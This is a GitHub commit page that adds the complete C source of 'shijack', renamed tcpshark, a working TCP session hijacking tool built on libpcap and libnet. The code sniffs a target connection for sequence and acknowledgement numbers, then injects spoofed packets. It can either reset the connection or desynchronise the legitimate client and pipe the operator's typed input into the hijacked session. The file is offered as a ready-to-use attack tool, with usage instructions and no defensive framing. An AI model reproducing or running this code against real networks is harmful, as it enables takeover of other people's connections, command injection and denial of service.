Skip to content

Commit 1078c9b

Browse files
committedJun 26, 2021
[+] tcpshark [+]
1 parent 8bca3a5 commit 1078c9b

File tree

2 files changed

+240
-12
lines changed

2 files changed

+240
-12
lines changed
 

‎shijack/shijack.c

-12
This file was deleted.

‎tcpshark/tcpshark.c

+240
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,240 @@
1+
/*
2+
* Full TCP connection hijacker (local, and on subnets), Uses libnet/libpcap
3+
* for better OS portability.
4+
*
5+
* Written by spwny, Inspiration by cyclozine.
6+
*
7+
* If you dont feel like installing libnet, just use the precompiled static binaries included.
8+
* gcc -o shijack shijack.c -lpcap `libnet-config --libs --defines --cflags`
9+
*
10+
* MD5 (shijack-sunsparc) = 5bf1c084811ab07f851c94c212024f07 (Sun Sparc 2.7)
11+
* MD5 (shijack-fbsd) = de60e9805ee99b22c23946606078e832 (FreeBSD 4.2)
12+
* MD5 (shijack-lnx) = 87418448d47d68eb819436f38aae4df2 (Slackware 7.0)
13+
*
14+
*
15+
* Changes:
16+
* - Added a function to get the SEQ/ACK, instead of using a program.
17+
* - Started using libpcap and libnet for better portability, instead of just raw sockets.
18+
* - Added -r, Reset the connection rather than hijacking it.
19+
*
20+
* If you need any help, or wish to discuss anything about this program,
21+
* You can contact me on EFnet or by email, yberm@home.com.
22+
* - spwny.
23+
*/
24+
25+
#include <stdio.h>
26+
#include <stdlib.h>
27+
#include <string.h>
28+
#include <libnet.h>
29+
#include <pcap.h>
30+
#include <signal.h>
31+
#include <sys/stat.h>
32+
#include <fcntl.h>
33+
#include <sys/time.h>
34+
#include <unistd.h>
35+
36+
#define lrandom(min, max) (random()%(max-min)+min)
37+
38+
struct seqack {
39+
u_long seq;
40+
u_long ack;
41+
};
42+
43+
void
44+
devsrandom(void)
45+
{
46+
int fd;
47+
u_long seed;
48+
49+
fd = open("/dev/urandom", O_RDONLY);
50+
if (fd == -1) {
51+
fd = open("/dev/random", O_RDONLY);
52+
if (fd == -1) {
53+
struct timeval tv;
54+
55+
gettimeofday(&tv, NULL);
56+
srandom((tv.tv_sec ^ tv.tv_usec) * tv.tv_sec * tv.tv_usec ^ tv.tv_sec);
57+
return;
58+
}
59+
}
60+
read(fd, &seed, sizeof(seed));
61+
close(fd);
62+
srandom(seed);
63+
}
64+
65+
void
66+
getseqack(char *interface, u_long srcip, u_long dstip, u_long sport, u_long dport, struct seqack *sa){
67+
pcap_t *pt;
68+
char ebuf[PCAP_ERRBUF_SIZE];
69+
u_char *buf;
70+
struct ip iph;
71+
struct tcphdr tcph;
72+
int ethrhdr;
73+
74+
75+
pt = pcap_open_live(interface, 65535, 1, 60, ebuf);
76+
if (!pt)
77+
{
78+
printf("pcap_open_live: %s\n", ebuf);
79+
exit(-1);
80+
}
81+
switch (pcap_datalink(pt)) {
82+
case DLT_EN10MB:
83+
case DLT_EN3MB:
84+
ethrhdr = 14;
85+
break;
86+
case DLT_FDDI:
87+
ethrhdr = 21;
88+
break;
89+
case DLT_SLIP:
90+
ethrhdr = 16;
91+
break;
92+
case DLT_NULL:
93+
case DLT_PPP:
94+
ethrhdr = 4;
95+
break;
96+
case DLT_RAW:
97+
ethrhdr = 0;
98+
default:
99+
printf("pcap_datalink: Can't figure out how big the ethernet header is.\n");
100+
exit(-1);
101+
}
102+
103+
printf("Waiting for SEQ/ACK to arrive from the srcip to the dstip.\n");
104+
printf("(To speed things up, try making some traffic between the two, /msg person asdf\n\n");
105+
106+
107+
for (;;) {
108+
struct pcap_pkthdr pkthdr;
109+
110+
buf = (u_char *) pcap_next(pt, &pkthdr);
111+
if (!buf)
112+
continue;
113+
memcpy(&iph, buf + ethrhdr, sizeof(iph));
114+
if (iph.ip_p != IPPROTO_TCP)
115+
continue;
116+
if ((iph.ip_src.s_addr != srcip) || (iph.ip_dst.s_addr != dstip))
117+
continue;
118+
memcpy(&tcph, buf + ethrhdr + sizeof(iph), sizeof(tcph));
119+
if ((tcph.th_sport != htons(sport)) || (tcph.th_dport != htons(dport)))
120+
continue;
121+
if (!(tcph.th_flags & TH_ACK))
122+
continue;
123+
printf("Got packet! SEQ = 0x%lx ACK = 0x%lx\n", htonl(tcph.th_seq), htonl(tcph.th_ack));
124+
sa->seq = htonl(tcph.th_seq);
125+
sa->ack = htonl(tcph.th_ack);
126+
pcap_close(pt);
127+
return;
128+
}
129+
}
130+
131+
132+
void
133+
sendtcp(u_long srcip, u_long dstip, u_long sport, u_long dport, u_char flags, u_long seq, u_long ack, char *data, int datalen)
134+
{
135+
u_char *packet;
136+
int fd, psize;
137+
138+
devsrandom();
139+
psize = LIBNET_IP_H + LIBNET_TCP_H + datalen;
140+
libnet_init_packet(psize, &packet);
141+
if (!packet)
142+
libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n");
143+
fd = libnet_open_raw_sock(IPPROTO_RAW);
144+
if (fd == -1)
145+
libnet_error(LIBNET_ERR_FATAL, "libnet_open_raw_sock failed\n");
146+
147+
libnet_build_ip(LIBNET_TCP_H + datalen, 0, random(), 0, lrandom(128, 255), IPPROTO_TCP, srcip, dstip, NULL, 0, packet);
148+
libnet_build_tcp(sport, dport, seq, ack, flags, 65535, 0, (u_char *) data, datalen, packet + LIBNET_IP_H);
149+
150+
if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H + datalen) == -1)
151+
libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");
152+
libnet_write_ip(fd, packet, psize);
153+
libnet_close_raw_sock(fd);
154+
libnet_destroy_packet(&packet);
155+
}
156+
157+
struct seqack sa;
158+
u_long srcip, dstip, sport, dport;
159+
160+
void
161+
sighandle(int sig)
162+
{
163+
printf("Closing connection..\n");
164+
sendtcp(srcip, dstip, sport, dport, TH_RST, sa.seq, 0, NULL, 0);
165+
printf("Done, Exiting.\n");
166+
exit(0);
167+
}
168+
169+
int
170+
main(int argc, char *argv[])
171+
{
172+
char *ifa = argv[1];
173+
char buf[4096];
174+
int reset = 0;
175+
signal(SIGTERM, sighandle);
176+
signal(SIGINT, sighandle);
177+
178+
if (argc < 6) {
179+
printf("Usage: %s <interface> <src ip> <src port> <dst ip> <dst port> [-r]\n", argv[0]);
180+
printf("<interface>\t\tThe interface you are going to hijack on.\n");
181+
printf("<src ip>\t\tThe source ip of the connection.\n");
182+
printf("<src port>\t\tThe source port of the connection.\n");
183+
printf("<dst ip>\t\tThe destination IP of the connection.\n");
184+
printf("<dst port>\t\tThe destination port of the connection.\n");
185+
printf("[-r]\t\t\tReset the connection rather than hijacking it.\n");
186+
printf("\nCoded by spwny, Inspiration by cyclozine (http://www.geocities.com/stasikous).\n");
187+
exit(-1);
188+
}
189+
190+
if (argv[6] && !strcmp(argv[6], "-r") )
191+
reset = 1;
192+
193+
srcip = inet_addr(argv[2]);
194+
dstip = inet_addr(argv[4]);
195+
sport = atol(argv[3]);
196+
dport = atol(argv[5]);
197+
198+
if (!srcip) {
199+
printf("%s is not a valid ip.\n", argv[2]);
200+
exit(-1);
201+
}
202+
if (!dstip) {
203+
printf("%s is not a valid ip.\n", argv[4]);
204+
exit(-1);
205+
}
206+
if ((sport > 65535) || (dport > 65535) || (sport < 1) || (dport < 1)) {
207+
printf("The valid TCP port range is 1-1024.\n");
208+
exit(-1);
209+
}
210+
getseqack(ifa, srcip, dstip, sport, dport, &sa);
211+
212+
if (reset) {
213+
sendtcp(srcip, dstip, sport, dport, TH_RST, sa.seq, 0, NULL, 0);
214+
printf("\nConnection has been reset.\n");
215+
return 0;
216+
}
217+
218+
/*
219+
* Sending 1024 of zero bytes so the real owner of the TCP connection
220+
* wont be able to get us out of sync with the SEQ.
221+
*/
222+
memset(&buf, 0, sizeof(buf));
223+
sendtcp(srcip, dstip, sport, dport, TH_ACK | TH_PUSH, sa.seq, sa.ack, buf, 1024);
224+
sa.seq += 1024;
225+
226+
printf("Starting hijack session, Please use ^C to terminate.\n");
227+
printf("Anything you enter from now on is sent to the hijacked TCP connection.\n");
228+
229+
while (fgets(buf, sizeof(buf) - 1, stdin)) {
230+
sendtcp(srcip, dstip, sport, dport, TH_ACK | TH_PUSH, sa.seq, sa.ack, buf, strlen(buf));
231+
sa.seq += strlen(buf);
232+
memset(&buf, 0, sizeof(buf));
233+
}
234+
sendtcp(srcip, dstip, sport, dport, TH_ACK | TH_FIN, sa.seq, sa.ack, NULL, 0);
235+
printf("Exiting..\n");
236+
return (0);
237+
}
238+
239+
/* spwny @ EFnet *
240+
* yberm@home.com */

0 commit comments

Comments
 (0)
Please sign in to comment.